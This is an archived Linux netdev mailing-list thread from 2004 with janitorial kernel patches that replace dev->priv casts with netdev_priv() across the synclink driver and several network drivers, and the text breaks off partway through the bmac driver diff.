v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 2298 Lines: 82 | | From: Carlo Perassi | and Randy.Dunlap Jeff, can you add this patch and the fusion/mptlan driver patch as well? -- ~Randy linux-264-302-priv-rddunlap/drivers/char/synclink.c | 12 ++++++------ 1 files changed, 6 insertions(+), 6 deletions(-) diff -puN drivers/char/synclink.c~synclink_casts drivers/char/synclink.c --- linux-264-302-priv/drivers/char/synclink.c~synclink_casts 2004-03-02 12:56:23.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/char/synclink.c 2004-03-02 13:01:39.000000000 -0800 @@ -7878,7 +7878,7 @@ void mgsl_sppp_delete(struct mgsl_struct int mgsl_sppp_open(struct net_device *d) { - struct mgsl_struct *info = d->priv; + struct mgsl_struct *info = netdev_priv(d); int err; unsigned long flags; @@ -7920,7 +7920,7 @@ open_fail: void mgsl_sppp_tx_timeout(struct net_device *dev) { - struct mgsl_struct *info = dev->priv; + struct mgsl_struct *info = netdev_priv(dev); unsigned long flags; if (debug_level >= DEBUG_LEVEL_INFO) @@ -7938,7 +7938,7 @@ void mgsl_sppp_tx_timeout(struct net_dev int mgsl_sppp_tx(struct sk_buff *skb, struct net_device *dev) { - struct mgsl_struct *info = dev->priv; + struct mgsl_struct *info = netdev_priv(dev); unsigned long flags; if (debug_level >= DEBUG_LEVEL_INFO) @@ -7964,7 +7964,7 @@ int mgsl_sppp_tx(struct sk_buff *skb, st int mgsl_sppp_close(struct net_device *d) { - struct mgsl_struct *info = d->priv; + struct mgsl_struct *info = netdev_priv(d); unsigned long flags; if (debug_level >= DEBUG_LEVEL_INFO) @@ -8014,7 +8014,7 @@ void mgsl_sppp_tx_done(struct mgsl_struc struct net_device_stats *mgsl_net_stats(struct net_device *dev) { - struct mgsl_struct *info = dev->priv; + struct mgsl_struct *info = netdev_priv(dev); if (debug_level >= DEBUG_LEVEL_INFO) printk("mgsl_net_stats(%s)\n",info->netname); return &info->netstats; @@ -8022,7 +8022,7 @@ struct net_device_stats *mgsl_net_stats( int mgsl_sppp_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct mgsl_struct *info = (struct mgsl_struct *)dev->priv; + struct mgsl_struct *info = netdev_priv(dev); if (debug_level >= DEBUG_LEVEL_INFO) printk("%s(%d):mgsl_ioctl %s cmd=%08X\n", __FILE__,__LINE__, info->netname, cmd ); _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:21:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:21:29 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LLAKO019597 for ; Thu, 4 Mar 2004 13:21:10 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LL5E29434 for ; Thu, 4 Mar 2004 13:21:05 -0800 Date: Thu, 4 Mar 2004 13:20:12 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in drivers/net/ (others) Message-Id: <20040304132012.6dd18b7c.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3753 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 77011 Lines: 2258 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/amd8111e.c | 56 ++++++++--------- linux-264-302-priv-rddunlap/drivers/net/ariadne.c | 14 ++-- linux-264-302-priv-rddunlap/drivers/net/at1700.c | 22 +++--- linux-264-302-priv-rddunlap/drivers/net/atari_bionet.c | 12 +-- linux-264-302-priv-rddunlap/drivers/net/atp.c | 26 +++---- linux-264-302-priv-rddunlap/drivers/net/bmac.c | 44 ++++++------- linux-264-302-priv-rddunlap/drivers/net/cs89x0.c | 40 ++++++------ linux-264-302-priv-rddunlap/drivers/net/eth16i.c | 18 ++--- linux-264-302-priv-rddunlap/drivers/net/fec.c | 54 ++++++++-------- linux-264-302-priv-rddunlap/drivers/net/gt96100eth.c | 42 ++++++------ linux-264-302-priv-rddunlap/drivers/net/mac89x0.c | 14 ++-- linux-264-302-priv-rddunlap/drivers/net/ni5010.c | 12 +-- linux-264-302-priv-rddunlap/drivers/net/rrunner.c | 32 ++++----- linux-264-302-priv-rddunlap/drivers/net/sb1000.c | 14 ++-- linux-264-302-priv-rddunlap/drivers/net/sb1250-mac.c | 22 +++--- linux-264-302-priv-rddunlap/drivers/net/seeq8005.c | 14 ++-- linux-264-302-priv-rddunlap/drivers/net/sgiseeq.c | 16 ++-- linux-264-302-priv-rddunlap/drivers/net/sk_g16.c | 18 ++--- linux-264-302-priv-rddunlap/drivers/net/smc9194.c | 12 +-- 19 files changed, 241 insertions(+), 241 deletions(-) diff -puN drivers/net/amd8111e.c~drivers_net_casts drivers/net/amd8111e.c --- linux-264-302-priv/drivers/net/amd8111e.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/amd8111e.c 2004-03-02 14:52:49.000000000 -0800 @@ -174,7 +174,7 @@ This is the mii register read function p */ static int amd8111e_mdio_read(struct net_device * dev, int phy_id, int reg_num) { - struct amd8111e_priv* lp = dev->priv; + struct amd8111e_priv* lp = netdev_priv(dev); unsigned int reg_val; amd8111e_read_phy(lp,phy_id,reg_num,®_val); @@ -187,7 +187,7 @@ This is the mii register write function */ static void amd8111e_mdio_write(struct net_device * dev, int phy_id, int reg_num, int val) { - struct amd8111e_priv* lp = dev->priv; + struct amd8111e_priv* lp = netdev_priv(dev); amd8111e_write_phy(lp, phy_id, reg_num, val); } @@ -197,7 +197,7 @@ This function will set PHY speed. During */ static void amd8111e_set_ext_phy(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); u32 bmcr,advert,tmp; /* Determine mii register values to set the speed */ @@ -239,7 +239,7 @@ all transmit and receive skbuffs. */ static int amd8111e_free_skbs(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); struct sk_buff* rx_skbuff; int i; @@ -272,7 +272,7 @@ This will set the receive buffer length */ static inline void amd8111e_set_rx_buff_len(struct net_device* dev) { - struct amd8111e_priv* lp = dev->priv; + struct amd8111e_priv* lp = netdev_priv(dev); unsigned int mtu = dev->mtu; if (mtu > ETH_DATA_LEN){ @@ -290,7 +290,7 @@ This function will free all the previous */ static int amd8111e_init_ring(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); int i; lp->rx_idx = lp->tx_idx = 0; @@ -371,7 +371,7 @@ static int amd8111e_set_coalesce(struct unsigned int timeout; unsigned int event_count; - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); void* mmio = lp->mmio; struct amd8111e_coalesce_conf * coal_conf = &lp->coal_conf; @@ -429,7 +429,7 @@ This function initializes the device reg */ static int amd8111e_restart(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv* )dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); void * mmio = lp->mmio; int i,reg_val; @@ -663,7 +663,7 @@ This function will free all the transmit */ static int amd8111e_tx(struct net_device *dev) { - struct amd8111e_priv* lp = dev->priv; + struct amd8111e_priv* lp = netdev_priv(dev); int tx_index = lp->tx_complete_idx & TX_RING_DR_MOD_MASK; int status; /* Complete all the transmit packet */ @@ -705,7 +705,7 @@ This function will check the ownership o */ static int amd8111e_rx(struct net_device *dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); struct sk_buff *skb,*new_skb; int rx_index = lp->rx_idx & RX_RING_DR_MOD_MASK; int min_pkt_len, status; @@ -809,7 +809,7 @@ This function will indicate the link sta */ static int amd8111e_link_change(struct net_device* dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); int status0,speed; /* read the link change */ @@ -871,7 +871,7 @@ This function reads the mib registers an */ static struct net_device_stats *amd8111e_get_stats(struct net_device * dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); void * mmio = lp->mmio; unsigned long flags; /* struct net_device_stats *prev_stats = &lp->prev_stats; */ @@ -966,7 +966,7 @@ according to the datarate and the packet */ static int amd8111e_calc_coalesce(struct net_device *dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); struct amd8111e_coalesce_conf * coal_conf = &lp->coal_conf; int tx_pkt_rate; int rx_pkt_rate; @@ -1102,7 +1102,7 @@ static irqreturn_t amd8111e_interrupt(in { struct net_device * dev = (struct net_device *) dev_id; - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); void * mmio = lp->mmio; unsigned int intr0; unsigned int handled = 1; @@ -1158,7 +1158,7 @@ This function closes the network interfa */ static int amd8111e_close(struct net_device * dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); netif_stop_queue(dev); spin_lock_irq(&lp->lock); @@ -1185,7 +1185,7 @@ static int amd8111e_close(struct net_dev */ static int amd8111e_open(struct net_device * dev ) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); if(dev->irq ==0 || request_irq(dev->irq, amd8111e_interrupt, SA_SHIRQ, dev->name, dev)) @@ -1231,7 +1231,7 @@ This function will queue the transmit pa static int amd8111e_start_xmit(struct sk_buff *skb, struct net_device * dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); int tx_index; unsigned long flags; @@ -1338,7 +1338,7 @@ list to the device. static void amd8111e_set_multicast_list(struct net_device *dev) { struct dev_mc_list* mc_ptr; - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); u32 mc_filter[2] ; int i,bit_num; if(dev->flags & IFF_PROMISC){ @@ -1388,7 +1388,7 @@ This function handles all the ethtool i static int amd8111e_ethtool_ioctl(struct net_device* dev, void* useraddr) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); struct pci_dev *pci_dev = lp->pci_dev; u32 ethcmd; @@ -1510,7 +1510,7 @@ static int amd8111e_ethtool_ioctl(struct static int amd8111e_ioctl(struct net_device * dev , struct ifreq *ifr, int cmd) { struct mii_ioctl_data *data = (struct mii_ioctl_data *)&ifr->ifr_data; - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); int err; u32 mii_regval; @@ -1554,7 +1554,7 @@ This function changes the mtu of the dev */ int amd8111e_change_mtu(struct net_device *dev, int new_mtu) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); int err; if ((new_mtu < AMD8111E_MIN_MTU) || (new_mtu > AMD8111E_MAX_MTU)) @@ -1584,7 +1584,7 @@ int amd8111e_change_mtu(struct net_devic #if AMD8111E_VLAN_TAG_USED static void amd8111e_vlan_rx_register(struct net_device *dev, struct vlan_group *grp) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); spin_lock_irq(&lp->lock); lp->vlgrp = grp; spin_unlock_irq(&lp->lock); @@ -1592,7 +1592,7 @@ static void amd8111e_vlan_rx_register(st static void amd8111e_vlan_rx_kill_vid(struct net_device *dev, unsigned short vid) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); spin_lock_irq(&lp->lock); if (lp->vlgrp) lp->vlgrp->vlan_devices[vid] = NULL; @@ -1623,7 +1623,7 @@ static int amd8111e_enable_link_change(s static void amd8111e_tx_timeout(struct net_device *dev) { - struct amd8111e_priv* lp = dev->priv; + struct amd8111e_priv* lp = netdev_priv(dev); int err; printk(KERN_ERR "%s: transmit timed out, resetting\n", @@ -1637,7 +1637,7 @@ static void amd8111e_tx_timeout(struct n static int amd8111e_suspend(struct pci_dev *pci_dev, u32 state) { struct net_device *dev = pci_get_drvdata(pci_dev); - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); if (!netif_running(dev)) return 0; @@ -1680,7 +1680,7 @@ static int amd8111e_suspend(struct pci_d static int amd8111e_resume(struct pci_dev *pci_dev) { struct net_device *dev = pci_get_drvdata(pci_dev); - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); if (!netif_running(dev)) return 0; @@ -1719,7 +1719,7 @@ static void __devexit amd8111e_remove_on } static void amd8111e_config_ipg(struct net_device* dev) { - struct amd8111e_priv *lp = dev->priv; + struct amd8111e_priv *lp = netdev_priv(dev); struct ipg_info* ipg_data = &lp->ipg_data; void * mmio = lp->mmio; unsigned int prev_col_cnt = ipg_data->col_cnt; @@ -1841,7 +1841,7 @@ static int __devinit amd8111e_probe_one( dev->vlan_rx_kill_vid = amd8111e_vlan_rx_kill_vid; #endif - lp = dev->priv; + lp = netdev_priv(dev); lp->pci_dev = pdev; lp->amd8111e_net_dev = dev; lp->pm_cap = pm_cap; diff -puN drivers/net/ariadne.c~drivers_net_casts drivers/net/ariadne.c --- linux-264-302-priv/drivers/net/ariadne.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/ariadne.c 2004-03-02 14:56:06.000000000 -0800 @@ -184,7 +184,7 @@ static int __devinit ariadne_init_one(st } SET_MODULE_OWNER(dev); - priv = dev->priv; + priv = netdev_priv(dev); r1->name = dev->name; r2->name = dev->name; @@ -333,7 +333,7 @@ static int ariadne_open(struct net_devic static void ariadne_init_ring(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = netdev_priv(dev); volatile struct lancedata *lancedata = (struct lancedata *)dev->mem_start; int i; @@ -379,7 +379,7 @@ static void ariadne_init_ring(struct net static int ariadne_close(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = netdev_priv(dev); volatile struct Am79C960 *lance = (struct Am79C960*)dev->base_addr; netif_stop_queue(dev); @@ -434,7 +434,7 @@ static irqreturn_t ariadne_interrupt(int if (!(lance->RDP & INTR)) /* Check if any interrupt has been */ return IRQ_NONE; /* generated by the board. */ - priv = (struct ariadne_private *)dev->priv; + priv = netdev_priv(dev); boguscnt = 10; while ((csr0 = lance->RDP) & (ERR|RINT|TINT) && --boguscnt >= 0) { @@ -589,7 +589,7 @@ static void ariadne_tx_timeout(struct ne static int ariadne_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = netdev_priv(dev); volatile struct Am79C960 *lance = (struct Am79C960*)dev->base_addr; int entry; unsigned long flags; @@ -697,7 +697,7 @@ static int ariadne_start_xmit(struct sk_ static int ariadne_rx(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = netdev_priv(dev); int entry = priv->cur_rx % RX_RING_SIZE; int i; @@ -787,7 +787,7 @@ static int ariadne_rx(struct net_device static struct net_device_stats *ariadne_get_stats(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = netdev_priv(dev); volatile struct Am79C960 *lance = (struct Am79C960*)dev->base_addr; short saved_addr; unsigned long flags; diff -puN drivers/net/at1700.c~drivers_net_casts drivers/net/at1700.c --- linux-264-302-priv/drivers/net/at1700.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/at1700.c 2004-03-02 13:49:57.000000000 -0800 @@ -241,7 +241,7 @@ static int irq; static void cleanup_card(struct net_device *dev) { #ifdef CONFIG_MCA - struct net_local *lp = dev->priv; + struct net_local *lp = netdev_priv(dev); if (lp->mca_slot) mca_mark_as_unused(lp->mca_slot); #endif @@ -319,8 +319,8 @@ static int __init at1700_probe1(struct n char at1700_irqmap[8] = {3, 4, 5, 9, 10, 11, 14, 15}; unsigned int i, irq, is_fmv18x = 0, is_at1700 = 0; int slot, ret = -ENODEV; - struct net_local *lp = dev->priv; - + struct net_local *lp = netdev_priv(dev); + #ifndef CONFIG_X86_PC9800 if (!request_region(ioaddr, AT1700_IO_EXTENT, dev->name)) return -EBUSY; @@ -618,7 +618,7 @@ static int __init read_eeprom(long ioadd static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* Set the configuration register 0 to 32K 100ns. byte-wide memory, 16 bit @@ -649,7 +649,7 @@ static int net_open(struct net_device *d static void net_tx_timeout (struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; printk ("%s: transmit timed out with status %04x, %s?\n", dev->name, @@ -683,7 +683,7 @@ static void net_tx_timeout (struct net_d static int net_send_packet (struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *) dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; short length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; short len = skb->len; @@ -748,7 +748,7 @@ net_interrupt(int irq, void *dev_id, str } ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); spin_lock (&lp->lock); @@ -808,7 +808,7 @@ net_interrupt(int irq, void *dev_id, str static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int boguscount = 5; @@ -891,7 +891,7 @@ net_rx(struct net_device *dev) /* The inverse routine to net_open(). */ static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; netif_stop_queue(dev); @@ -919,7 +919,7 @@ static int net_close(struct net_device * static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } @@ -931,7 +931,7 @@ static void set_rx_mode(struct net_device *dev) { int ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned char mc_filter[8]; /* Multicast hash filter */ unsigned long flags; int i; diff -puN drivers/net/atari_bionet.c~drivers_net_casts drivers/net/atari_bionet.c --- linux-264-302-priv/drivers/net/atari_bionet.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/atari_bionet.c 2004-03-02 13:53:42.000000000 -0800 @@ -408,7 +408,7 @@ struct net_device * __init bionet_probe( */ static int bionet_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (bionet_debug > 0) printk("bionet_open\n"); @@ -433,7 +433,7 @@ bionet_open(struct net_device *dev) { static int bionet_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; /* Block a timer-based transmit from overlapping. This could better be @@ -499,7 +499,7 @@ bionet_send_packet(struct sk_buff *skb, */ static void bionet_poll_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int boguscount = 10; int pkt_len, status; unsigned long flags; @@ -601,7 +601,7 @@ bionet_poll_rx(struct net_device *dev) { static void bionet_tick(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if( bionet_debug > 0 && (lp->open_time++ & 7) == 8 ) printk("bionet_tick: %ld\n", lp->open_time); @@ -616,7 +616,7 @@ bionet_tick(unsigned long data) { */ static int bionet_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (bionet_debug > 0) printk("bionet_close, open_time=%ld\n", lp->open_time); @@ -638,7 +638,7 @@ bionet_close(struct net_device *dev) { */ static struct net_device_stats *net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } diff -puN drivers/net/atp.c~drivers_net_casts drivers/net/atp.c --- linux-264-302-priv/drivers/net/atp.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/atp.c 2004-03-02 13:55:41.000000000 -0800 @@ -335,7 +335,7 @@ static int __init atp_probe1(long ioaddr /* Reset the ethernet hardware and activate the printer pass-through. */ write_reg_high(ioaddr, CMR1, CMR1h_RESET | CMR1h_MUX); - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); lp->chip_type = RTL8002; lp->addr_mode = CMR2h_Normal; spin_lock_init(&lp->lock); @@ -432,7 +432,7 @@ static unsigned short __init eeprom_op(l */ static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ret; /* The interrupt line is turned off (tri-stated) when the device isn't in @@ -458,7 +458,7 @@ static int net_open(struct net_device *d the hardware may have been temporarily detached. */ static void hardware_init(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); long ioaddr = dev->base_addr; int i; @@ -541,7 +541,7 @@ static void write_packet(long ioaddr, in static void tx_timeout(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = netdev_priv(dev); long ioaddr = dev->base_addr; printk(KERN_WARNING "%s: Transmit timed out, %s?\n", dev->name, @@ -557,7 +557,7 @@ static void tx_timeout(struct net_device static int atp_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); long ioaddr = dev->base_addr; int length; unsigned long flags; @@ -611,7 +611,7 @@ atp_interrupt(int irq, void *dev_instanc return IRQ_NONE; } ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); spin_lock(&lp->lock); @@ -726,7 +726,7 @@ static void atp_timed_checker(unsigned l { struct net_device *dev = (struct net_device *)data; long ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int tickssofar = jiffies - lp->last_rx_time; int i; @@ -740,7 +740,7 @@ static void atp_timed_checker(unsigned l for (i = 0; i < 6; i++) if (read_cmd_byte(ioaddr, PAR0 + i) != atp_timed_dev->dev_addr[i]) { - struct net_local *lp = (struct net_local *)atp_timed_dev->priv; + struct net_local *lp = netdev_priv(atp_timed_dev); write_reg_byte(ioaddr, PAR0 + i, atp_timed_dev->dev_addr[i]); if (i == 2) lp->stats.tx_errors++; @@ -762,7 +762,7 @@ static void atp_timed_checker(unsigned l /* We have a good packet(s), get it/them out of the buffers. */ static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); long ioaddr = dev->base_addr; struct rx_header rx_head; @@ -838,7 +838,7 @@ static void read_block(long ioaddr, int static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); long ioaddr = dev->base_addr; netif_stop_queue(dev); @@ -863,7 +863,7 @@ net_close(struct net_device *dev) static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } @@ -873,7 +873,7 @@ net_get_stats(struct net_device *dev) static void set_rx_mode_8002(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); long ioaddr = dev->base_addr; if ( dev->mc_count > 0 || (dev->flags & (IFF_ALLMULTI|IFF_PROMISC))) { @@ -890,7 +890,7 @@ static void set_rx_mode_8002(struct net_ static void set_rx_mode_8012(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); long ioaddr = dev->base_addr; unsigned char new_mode, mc_filter[8]; /* Multicast hash filter */ int i; diff -puN drivers/net/bmac.c~drivers_net_casts drivers/net/bmac.c --- linux-264-302-priv/drivers/net/bmac.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/bmac.c 2004-03-02 14:04:18.000000000 -0800 @@ -226,7 +226,7 @@ volatile unsigned short bmread(struct ne static void bmac_enable_and_reset_chip(struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_regs *rd = bp->rx_dma; volatile struct dbdma_regs *td = bp->tx_dma; @@ -310,7 +310,7 @@ bmac_mif_write(struct net_device *dev, u static void bmac_init_registers(struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile unsigned short regValue; unsigned short *pWord16; int i; @@ -405,7 +405,7 @@ bmac_enable_interrupts(struct net_device static void bmac_start_chip(struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_regs *rd = bp->rx_dma; unsigned short oldConfig; @@ -425,7 +425,7 @@ static void bmac_init_phy(struct net_device *dev) { unsigned int addr; - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); printk(KERN_DEBUG "phy registers:"); for (addr = 0; addr < 32; ++addr) { @@ -458,7 +458,7 @@ static void bmac_init_chip(struct net_de static int bmac_suspend(struct macio_dev *mdev, u32 state) { struct net_device* dev = macio_get_drvdata(mdev); - struct bmac_data *bp = dev->priv; + struct bmac_data *bp = netdev_priv(dev); unsigned long flags; unsigned short config; int i; @@ -508,7 +508,7 @@ static int bmac_suspend(struct macio_dev static int bmac_resume(struct macio_dev *mdev) { struct net_device* dev = macio_get_drvdata(mdev); - struct bmac_data *bp = dev->priv; + struct bmac_data *bp = netdev_priv(dev); /* see if this is enough */ if (bp->opened) @@ -525,7 +525,7 @@ static int bmac_resume(struct macio_dev static int bmac_set_address(struct net_device *dev, void *addr) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); unsigned char *p = addr; unsigned short *pWord16; unsigned long flags; @@ -550,7 +550,7 @@ static int bmac_set_address(struct net_d static inline void bmac_set_timeout(struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); unsigned long flags; spin_lock_irqsave(&bp->lock, flags); @@ -656,7 +656,7 @@ bmac_init_rx_ring(struct bmac_data *bp) static int bmac_transmit_packet(struct sk_buff *skb, struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_regs *td = bp->tx_dma; int i; @@ -692,7 +692,7 @@ static int rxintcount; static irqreturn_t bmac_rxdma_intr(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_regs *rd = bp->rx_dma; volatile struct dbdma_cmd *cp; int i, nb, stat; @@ -769,7 +769,7 @@ static int txintcount; static irqreturn_t bmac_txdma_intr(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_cmd *cp; int stat; unsigned long flags; @@ -822,7 +822,7 @@ static irqreturn_t bmac_txdma_intr(int i static struct net_device_stats *bmac_stats(struct net_device *dev) { - struct bmac_data *p = (struct bmac_data *) dev->priv; + struct bmac_data *p = netdev_priv(dev); return &p->stats; } @@ -995,7 +995,7 @@ bmac_remove_multi(struct net_device *dev static void bmac_set_multicast(struct net_device *dev) { struct dev_mc_list *dmi; - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); int num_addrs = dev->mc_count; unsigned short rx_cfg; int i; @@ -1086,7 +1086,7 @@ static int miscintcount; static irqreturn_t bmac_misc_intr(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct bmac_data *bp = (struct bmac_data *)dev->priv; + struct bmac_data *bp = netdev_priv(dev); unsigned int status = bmread(dev, STATUS); if (miscintcount++ < 10) { XXDEBUG(("bmac_misc_intr\n")); @@ -1232,7 +1232,7 @@ bmac_get_station_address(struct net_devi static void bmac_reset_and_enable(struct net_device *dev) { - struct bmac_data *bp = dev->priv; + struct bmac_data *bp = netdev_priv(dev); unsigned long flags; struct sk_buff *skb; unsigned char *data; @@ -1288,7 +1288,7 @@ static int __devinit bmac_probe(struct m return -ENOMEM; } - bp = (struct bmac_data *) dev->priv; + bp = netdev_priv(dev); SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &mdev->ofdev.dev); 